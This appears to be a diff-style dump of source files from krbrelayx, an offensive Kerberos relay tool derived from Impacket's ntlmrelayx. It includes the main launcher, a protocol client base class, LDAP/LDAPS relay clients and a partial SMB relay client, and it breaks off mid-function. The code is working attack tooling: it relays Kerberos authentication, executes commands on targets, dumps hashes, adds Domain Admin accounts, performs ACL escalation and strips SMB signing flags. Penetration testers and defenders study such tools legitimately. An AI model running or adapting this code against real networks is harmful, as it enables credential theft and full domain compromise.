# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
# SOFTWARE.
|
||||
#
|
||||
####################
|
||||
#
|
||||
# This tool is based on ntlmrelayx, part of Impacket
|
||||
# Copyright (c) 2013-2018 SecureAuth Corporation
|
||||
#
|
||||
# Impacket is provided under under a slightly modified version
|
||||
# of the Apache Software License.
|
||||
# See https://github.com/SecureAuthCorp/impacket/blob/master/LICENSE
|
||||
# for more information.
|
||||
#
|
||||
#
|
||||
# Ntlmrelayx authors:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
|
||||
#
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
import binascii
|
||||
import logging
|
||||
from threading import Thread
|
||||
|
||||
from impacket import version
|
||||
from impacket.examples import logger
|
||||
from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS
|
||||
from lib.servers import SMBRelayServer, HTTPKrbRelayServer
|
||||
from lib.utils.config import KrbRelayxConfig
|
||||
from lib.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
|
||||
|
||||
RELAY_SERVERS = ( SMBRelayServer, HTTPKrbRelayServer )
|
||||
|
||||
def stop_servers(threads):
|
||||
todelete = []
|
||||
for thread in threads:
|
||||
if isinstance(thread, RELAY_SERVERS):
|
||||
thread.server.shutdown()
|
||||
todelete.append(thread)
|
||||
# Now remove threads from the set
|
||||
for thread in todelete:
|
||||
threads.remove(thread)
|
||||
del thread
|
||||
|
||||
def main():
|
||||
def start_servers(options, threads):
|
||||
for server in RELAY_SERVERS:
|
||||
#Set up config
|
||||
c = KrbRelayxConfig()
|
||||
c.setProtocolClients(PROTOCOL_CLIENTS)
|
||||
c.setTargets(targetSystem)
|
||||
c.setExeFile(options.e)
|
||||
c.setCommand(options.c)
|
||||
c.setEnumLocalAdmins(options.enum_local_admins)
|
||||
c.setEncoding(codec)
|
||||
c.setMode(mode)
|
||||
c.setAttacks(PROTOCOL_ATTACKS)
|
||||
c.setLootdir(options.lootdir)
|
||||
try:
|
||||
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.escalate_user)
|
||||
except TypeError:
|
||||
# Newer version of ntlmrelayx has extra arguments
|
||||
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user)
|
||||
c.setIPv6(options.ipv6)
|
||||
c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
|
||||
c.setSMB2Support(not options.no_smb2support)
|
||||
c.setInterfaceIp(options.interface_ip)
|
||||
if options.krbhexpass and not options.krbpass:
|
||||
c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, binascii.unhexlify(options.krbhexpass), options.krbsalt, True)
|
||||
else:
|
||||
c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, options.krbpass, options.krbsalt, False)
|
||||
c.setKrbOptions(options.format)
|
||||
|
||||
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
|
||||
if server is HTTPKrbRelayServer and options.r is not None:
|
||||
c.setMode('REDIRECT')
|
||||
c.setRedirectHost(options.r)
|
||||
|
||||
s = server(c)
|
||||
s.start()
|
||||
threads.add(s)
|
||||
return c
|
||||
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
|
||||
#Parse arguments
|
||||
parser = argparse.ArgumentParser(add_help=False,
|
||||
description="Kerberos \"relay\" tool. Abuses accounts with unconstrained "
|
||||
"delegation to pwn things.")
|
||||
parser._optionals.title = "Main options"
|
||||
|
||||
#Main arguments
|
||||
parser.add_argument("-h", "--help", action="help", help='show this help message and exit')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
parser.add_argument('-t', "--target", action='store', metavar = 'TARGET', help='Target to attack, '
|
||||
'since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If unspecified, will store tickets for later use.')
|
||||
parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or '
|
||||
'full URL, one per line')
|
||||
parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list '
|
||||
'automatically (only valid with -tf)')
|
||||
|
||||
|
||||
# Interface address specification
|
||||
parser.add_argument('-ip', '--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to '
|
||||
'bind SMB and HTTP servers',default='')
|
||||
|
||||
parser.add_argument('-r', action='store', metavar='SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
|
||||
parser.add_argument('-l', '--lootdir', action='store', type=str, required=False, metavar='LOOTDIR', default='.', help='Loot '
|
||||
'directory in which gathered loot (TGTs or dumps) will be stored (default: current directory).')
|
||||
parser.add_argument('-f', '--format', default='ccache', choices=['ccache', 'kirbi'], action='store',help='Format to store tickets in. Valid: ccache (Impacket) or kirbi'
|
||||
' (Mimikatz format) default: ccache')
|
||||
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
|
||||
'"%s"). If errors are detected, run chcp.com at the target, '
|
||||
'map the result with '
|
||||
'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py '
|
||||
'again with -codec and the corresponding codec ' % sys.getdefaultencoding())
|
||||
parser.add_argument('-no-smb2support', action="store_false", default=False, help='Disable SMB2 Support')
|
||||
|
||||
parser.add_argument('-wh', '--wpad-host', action='store', help='Enable serving a WPAD file for Proxy Authentication attack, '
|
||||
'setting the proxy host to the one supplied.')
|
||||
parser.add_argument('-wa', '--wpad-auth-num', action='store', help='Prompt for authentication N times for clients without MS16-077 installed '
|
||||
'before serving a WPAD file.')
|
||||
parser.add_argument('-6', '--ipv6', action='store_true', help='Listen on both IPv6 and IPv4')
|
||||
|
||||
# Authentication arguments
|
||||
group = parser.add_argument_group('Kerberos Keys (of your account with unconstrained delegation)')
|
||||
group.add_argument('-p', '--krbpass', action="store", metavar="PASSWORD", help='Account password')
|
||||
group.add_argument('-hp', '--krbhexpass', action="store", metavar="HEXPASSWORD", help='Hex-encoded password')
|
||||
group.add_argument('-s', '--krbsalt', action="store", metavar="USERNAME", help='Case sensitive (!) salt. Used to calculate Kerberos keys.'
|
||||
'Only required if specifying password instead of keys.')
|
||||
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
|
||||
#SMB arguments
|
||||
smboptions = parser.add_argument_group("SMB attack options")
|
||||
|
||||
smboptions.add_argument('-e', action='store', required=False, metavar='FILE', help='File to execute on the target system. '
|
||||
'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
|
||||
smboptions.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', help='Command to execute on '
|
||||
'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same '
|
||||
'directory).')
|
||||
smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)')
|
||||
|
||||
#LDAP options
|
||||
ldapoptions = parser.add_argument_group("LDAP attack options")
|
||||
ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')
|
||||
ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin')
|
||||
ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks')
|
||||
ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks')
|
||||
ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one')
|
||||
|
||||
try:
|
||||
options = parser.parse_args()
|
||||
except Exception as e:
|
||||
logging.error(str(e))
|
||||
sys.exit(1)
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
|
||||
|
||||
# Let's register the protocol clients we have
|
||||
# ToDo: Do this better somehow
|
||||
from lib.clients import PROTOCOL_CLIENTS
|
||||
|
||||
|
||||
if options.codec is not None:
|
||||
codec = options.codec
|
||||
else:
|
||||
codec = sys.getdefaultencoding()
|
||||
|
||||
if options.target is not None:
|
||||
logging.info("Running in attack mode to single host")
|
||||
mode = 'ATTACK'
|
||||
targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS)
|
||||
else:
|
||||
if options.tf is not None:
|
||||
#Targetfile specified
|
||||
logging.info("Running in attack mode to hosts in targetfile")
|
||||
targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS)
|
||||
mode = 'ATTACK'
|
||||
else:
|
||||
logging.info("Running in export mode (all tickets will be saved to disk)")
|
||||
targetSystem = None
|
||||
mode = 'EXPORT'
|
||||
|
||||
if options.r is not None:
|
||||
logging.info("Running HTTP server in redirect mode")
|
||||
|
||||
if targetSystem is not None and options.w:
|
||||
watchthread = TargetsFileWatcher(targetSystem)
|
||||
watchthread.start()
|
||||
|
||||
threads = set()
|
||||
|
||||
c = start_servers(options, threads)
|
||||
|
||||
print ""
|
||||
logging.info("Servers started, waiting for connections")
|
||||
try:
|
||||
sys.stdin.read()
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
|
||||
for s in threads:
|
||||
del s
|
||||
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1 @@
|
||||
pass
|
||||
@@ -0,0 +1,101 @@
|
||||
# Copyright (c) 2013-2017 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Protocol Client Base Class definition
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# Defines a base class for all clients + loads all available modules
|
||||
#
|
||||
# ToDo:
|
||||
#
|
||||
import os, sys, pkg_resources
|
||||
from impacket import LOG
|
||||
|
||||
PROTOCOL_CLIENTS = {}
|
||||
|
||||
# Base class for Protocol Clients for different protocols (SMB, MSSQL, etc)
|
||||
# Besides using this base class you need to define one global variable when
|
||||
# writing a plugin for protocol clients:
|
||||
# PROTOCOL_CLIENT_CLASS = "<name of the class for the plugin>"
|
||||
# PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc)
|
||||
class ProtocolClient:
|
||||
PLUGIN_NAME = 'PROTOCOL'
|
||||
def __init__(self, serverConfig, target, targetPort, extendedSecurity=True):
|
||||
self.serverConfig = serverConfig
|
||||
self.targetHost = target.hostname
|
||||
# A default target port is specified by the subclass
|
||||
if target.port is not None:
|
||||
# We override it by the one specified in the target
|
||||
self.targetPort = target.port
|
||||
else:
|
||||
self.targetPort = targetPort
|
||||
self.target = target
|
||||
self.extendedSecurity = extendedSecurity
|
||||
self.session = None
|
||||
self.sessionData = {}
|
||||
|
||||
def initConnection(self):
|
||||
raise RuntimeError('Virtual Function')
|
||||
|
||||
def killConnection(self):
|
||||
raise RuntimeError('Virtual Function')
|
||||
|
||||
def sendNegotiate(self, negotiateMessage):
|
||||
# Charged of sending the type 1 NTLM Message
|
||||
raise RuntimeError('Virtual Function')
|
||||
|
||||
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
|
||||
# Charged of sending the type 3 NTLM Message to the Target
|
||||
raise RuntimeError('Virtual Function')
|
||||
|
||||
def sendStandardSecurityAuth(self, sessionSetupData):
|
||||
# Handle the situation When FLAGS2_EXTENDED_SECURITY is not set
|
||||
raise RuntimeError('Virtual Function')
|
||||
|
||||
def getSession(self):
|
||||
# Should return the active session for the relayed connection
|
||||
raise RuntimeError('Virtual Function')
|
||||
|
||||
def getSessionData(self):
|
||||
# Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the
|
||||
# answers from the original server)
|
||||
return self.sessionData
|
||||
|
||||
def getStandardSecurityChallenge(self):
|
||||
# Should return the Challenge returned by the server when Extended Security is not set
|
||||
# This should only happen with against old Servers. By default we return None
|
||||
return None
|
||||
|
||||
def keepAlive(self):
|
||||
# Charged of keeping connection alive
|
||||
raise RuntimeError('Virtual Function')
|
||||
|
||||
for file in pkg_resources.resource_listdir('lib', 'clients'):
|
||||
if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc':
|
||||
continue
|
||||
__import__(__package__ + '.' + os.path.splitext(file)[0])
|
||||
module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]]
|
||||
try:
|
||||
pluginClasses = set()
|
||||
try:
|
||||
if hasattr(module,'PROTOCOL_CLIENT_CLASSES'):
|
||||
for pluginClass in module.PROTOCOL_CLIENT_CLASSES:
|
||||
pluginClasses.add(getattr(module, pluginClass))
|
||||
else:
|
||||
pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS')))
|
||||
except Exception, e:
|
||||
LOG.debug(e)
|
||||
pass
|
||||
|
||||
for pluginClass in pluginClasses:
|
||||
LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME)
|
||||
PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass
|
||||
except Exception, e:
|
||||
LOG.debug(str(e))
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
import sys
|
||||
from struct import unpack
|
||||
from impacket import LOG
|
||||
from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD, SASL, KERBEROS
|
||||
from ldap3.operation import bind
|
||||
try:
|
||||
from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED
|
||||
except ImportError:
|
||||
LOG.fatal("krbrelayx requires ldap3 > 2.0. To update, use: pip install ldap3 --upgrade")
|
||||
sys.exit(1)
|
||||
|
||||
from lib.clients import ProtocolClient
|
||||
from lib.utils.kerberos import ldap_kerberos
|
||||
from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
|
||||
from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN
|
||||
from impacket.spnego import SPNEGO_NegTokenResp
|
||||
|
||||
PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"]
|
||||
|
||||
class LDAPRelayClientException(Exception):
|
||||
pass
|
||||
|
||||
class LDAPRelayClient(ProtocolClient):
|
||||
PLUGIN_NAME = "LDAP"
|
||||
MODIFY_ADD = MODIFY_ADD
|
||||
|
||||
def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ):
|
||||
ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
|
||||
self.extendedSecurity = extendedSecurity
|
||||
self.server = None
|
||||
|
||||
def killConnection(self):
|
||||
if self.session is not None:
|
||||
self.session.socket.close()
|
||||
self.session = None
|
||||
|
||||
def initConnection(self, authdata, kdc=None):
|
||||
if not kdc:
|
||||
kdc = authdata['domain']
|
||||
self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
|
||||
self.session = Connection(self.server, user="a", password="b", authentication=SASL, sasl_mechanism=KERBEROS)
|
||||
ldap_kerberos(authdata['domain'], kdc, authdata['tgt'], authdata['username'], self.session, self.targetHost)
|
||||
|
||||
class LDAPSRelayClient(LDAPRelayClient):
|
||||
PLUGIN_NAME = "LDAPS"
|
||||
MODIFY_ADD = MODIFY_ADD
|
||||
|
||||
def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ):
|
||||
LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
|
||||
|
||||
def initConnection(self, authdata, kdc=None):
|
||||
if not kdc:
|
||||
kdc = authdata['domain']
|
||||
self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
|
||||
self.session = Connection(self.server, user="a", password="b", authentication=SASL, sasl_mechanism=KERBEROS)
|
||||
ldap_kerberos(authdata['domain'], kdc, authdata['tgt'], authdata['username'], self.session, self.targetHost)
|
||||
@@ -0,0 +1,415 @@
|
||||
# Copyright (c) 2013-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# SMB Relay Protocol Client
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# This is the SMB client which initiates the connection to an
|
||||
# SMB server and relays the credentials to this server.
|
||||
|
||||
import os
|
||||
|
||||
from struct import unpack
|
||||
from socket import error as socketerror
|
||||
from impacket import LOG
|
||||
from lib.clients import ProtocolClient
|
||||
from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER
|
||||
from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE
|
||||
from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge
|
||||
from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \
|
||||
SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \
|
||||
SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters
|
||||
from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \
|
||||
SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \
|
||||
SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \
|
||||
SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SessionError
|
||||
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
|
||||
|
||||
PROTOCOL_CLIENT_CLASS = "SMBRelayClient"
|
||||
|
||||
class MYSMB(SMB):
|
||||
def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):
|
||||
self.extendedSecurity = extendedSecurity
|
||||
SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket)
|
||||
|
||||
def neg_session(self, negPacket=None):
|
||||
return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket)
|
||||
|
||||
class MYSMB3(SMB3):
|
||||
def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):
|
||||
self.extendedSecurity = extendedSecurity
|
||||
SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket))
|
||||
|
||||
def negotiateSession(self, preferredDialect = None, negSessionResponse = None):
|
||||
# We DON'T want to sign
|
||||
self._Connection['ClientSecurityMode'] = 0
|
||||
|
||||
if self.RequireMessageSigning is True:
|
||||
LOG.error('Signing is required, attack won\'t work!')
|
||||
return
|
||||
|
||||
self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION
|
||||
currentDialect = SMB2_DIALECT_WILDCARD
|
||||
|
||||
# Do we have a negSessionPacket already?
|
||||
if negSessionResponse is not None:
|
||||
# Yes, let's store the dialect answered back
|
||||
negResp = SMB2Negotiate_Response(negSessionResponse['Data'])
|
||||
currentDialect = negResp['DialectRevision']
|
||||
|
||||
if currentDialect == SMB2_DIALECT_WILDCARD:
|
||||
# Still don't know the chosen dialect, let's send our options
|
||||
|
||||
packet = self.SMB_PACKET()
|
||||
packet['Command'] = SMB2_NEGOTIATE
|
||||
negSession = SMB2Negotiate()
|
||||
|
||||
negSession['SecurityMode'] = self._Connection['ClientSecurityMode']
|
||||
negSession['Capabilities'] = self._Connection['Capabilities']
|
||||
negSession['ClientGuid'] = self.ClientGuid
|
||||
if preferredDialect is not None:
|
||||
negSession['Dialects'] = [preferredDialect]
|
||||
else:
|
||||
negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]
|
||||
negSession['DialectCount'] = len(negSession['Dialects'])
|
||||
packet['Data'] = negSession
|
||||
|
||||
packetID = self.sendSMB(packet)
|
||||
ans = self.recvSMB(packetID)
|
||||
if ans.isValidAnswer(STATUS_SUCCESS):
|
||||
negResp = SMB2Negotiate_Response(ans['Data'])
|
||||
|
||||
self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize'])
|
||||
self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize'])
|
||||
self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize'])
|
||||
self._Connection['ServerGuid'] = negResp['ServerGuid']
|
||||
self._Connection['GSSNegotiateToken'] = negResp['Buffer']
|
||||
self._Connection['Dialect'] = negResp['DialectRevision']
|
||||
if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED:
|
||||
LOG.error('Signing is required, attack won\'t work!')
|
||||
return
|
||||
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:
|
||||
self._Connection['SupportsFileLeasing'] = True
|
||||
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:
|
||||
self._Connection['SupportsMultiCredit'] = True
|
||||
|
||||
if self._Connection['Dialect'] == SMB2_DIALECT_30:
|
||||
# Switching to the right packet format
|
||||
self.SMB_PACKET = SMB3Packet
|
||||
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:
|
||||
self._Connection['SupportsDirectoryLeasing'] = True
|
||||
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:
|
||||
self._Connection['SupportsMultiChannel'] = True
|
||||
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:
|
||||
self._Connection['SupportsPersistentHandles'] = True
|
||||
if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:
|
||||
self._Connection['SupportsEncryption'] = True
|
||||
|
||||
self._Connection['ServerCapabilities'] = negResp['Capabilities']
|
||||
self._Connection['ServerSecurityMode'] = negResp['SecurityMode']
|
||||
|
||||
class SMBRelayClient(ProtocolClient):
|
||||
PLUGIN_NAME = "SMB"
|
||||
def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):
|
||||
ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
|
||||
self.extendedSecurity = extendedSecurity
|
||||
|
||||
self.domainIp = None
|
||||
self.machineAccount = None
|
||||
self.machineHashes = None
|
||||
self.sessionData = {}
|
||||
|
||||
self.keepAliveHits = 1
|
||||
|
||||
def keepAlive(self):
|
||||
# SMB Keep Alive more or less every 5 minutes
|
||||
if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
|
||||
# Time to send a packet
|
||||
# Just a tree connect / disconnect to avoid the session timeout
|
||||
tid = self.session.connectTree('IPC$')
|
||||
self.session.disconnectTree(tid)
|
||||
self.keepAliveHits = 1
|
||||
else:
|
||||
self.keepAliveHits +=1
|
||||
|
||||
def killConnection(self):
|
||||
if self.session is not None:
|
||||
self.session.close()
|
||||
self.session = None
|
||||
|
||||
def initConnection(self):
|
||||
self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
|
||||
#,preferredDialect=SMB_DIALECT)
|
||||
if self.serverConfig.smb2support is True:
|
||||
data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
|
||||
else:
|
||||
data = '\x02NT LM 0.12\x00'
|
||||
|
||||
if self.extendedSecurity is True:
|
||||
flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
|
||||
else:
|
||||
flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
|
||||
try:
|
||||
packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
|
||||
flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
|
||||
flags2=flags2, data=data)
|
||||
except socketerror as e:
|
||||
if 'reset by peer' in str(e):
|
||||
if not self.serverConfig.smb2support:
|
||||
LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
|
||||
else:
|
||||
LOG.error('SMBCLient error: Connection was reset')
|
||||
else:
|
||||
LOG.error('SMBCLient error: %s' % str(e))
|
||||
return False
|
||||
if packet[0] == '\xfe':
|
||||
smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
|
||||
else:
|
||||
# Answer is SMB packet, sticking to SMBv1
|
||||
smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
|
||||
|
||||
self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
|
||||
existingConnection=smbClient, manualNegotiate=True)
|
||||
|
||||
return True
|
||||
|
||||
def setUid(self,uid):
|
||||
self._uid = uid
|
||||
|
||||
def sendNegotiate(self, negotiateMessage):
|
||||
negotiate = NTLMAuthNegotiate()
|
||||
negotiate.fromString(negotiateMessage)
|
||||
#Remove the signing flag
|
||||
negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
|
||||
|
||||
challenge = NTLMAuthChallenge()
|
||||
if self.session.getDialect() == SMB_DIALECT:
|
||||
challenge.fromString(self.sendNegotiatev1(negotiateMessage))
|
||||
else:
|
||||
challenge.fromString(self.sendNegotiatev2(negotiateMessage))
|
||||
|
||||
# Store the Challenge in our session data dict. It will be used by the SMB Proxy
|
||||
self.sessionData['CHALLENGE_MESSAGE'] = challenge
|
||||
|
||||
return challenge
|
||||
|
||||
def sendNegotiatev2(self, negotiateMessage):
|
||||
v2client = self.session.getSMBServer()
|
||||
|
||||
sessionSetup = SMB2SessionSetup()
|
||||
sessionSetup['Flags'] = 0
|
||||
|
||||
# Let's build a NegTokenInit with the NTLMSSP
|
||||
blob = SPNEGO_NegTokenInit()
|
||||
|
||||
# NTLMSSP
|
||||
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
|
||||
blob['MechToken'] = str(negotiateMessage)
|
||||
|
||||
sessionSetup['SecurityBufferLength'] = len(blob)
|
||||
sessionSetup['Buffer'] = blob.getData()
|
||||
|
||||
packet = v2client.SMB_PACKET()
|
||||
packet['Command'] = SMB2_SESSION_SETUP
|
||||
packet['Data'] = sessionSetup
|
||||
|
||||
packetID = v2client.sendSMB(packet)
|
||||
ans = v2client.recvSMB(packetID)
|
||||
if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
|
||||
v2client._Session['SessionID'] = ans['SessionID']
|
||||
sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
|
||||
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
|
||||
return respToken['ResponseToken']
|
||||
|
||||
return False
|
||||
|
||||
def sendNegotiatev1(self, negotiateMessage):
|
||||
v1client = self.session.getSMBServer()
|
||||
|
||||
smb = NewSMBPacket()
|
||||
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
|
||||
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
|
||||
# Are we required to sign SMB? If so we do it, if not we skip it
|
||||
if v1client.is_signing_required():
|
||||
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
|
||||
|
||||
|
||||
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
|
||||
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
|
||||
|
||||
sessionSetup['Parameters']['MaxBufferSize'] = 65535
|
||||
sessionSetup['Parameters']['MaxMpxCount'] = 2
|
||||
sessionSetup['Parameters']['VcNumber'] = 1
|
||||
sessionSetup['Parameters']['SessionKey'] = 0
|
||||
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
|
||||
|
||||
# Let's build a NegTokenInit with the NTLMSSP
|
||||
# TODO: In the future we should be able to choose different providers
|
||||
|
||||
blob = SPNEGO_NegTokenInit()
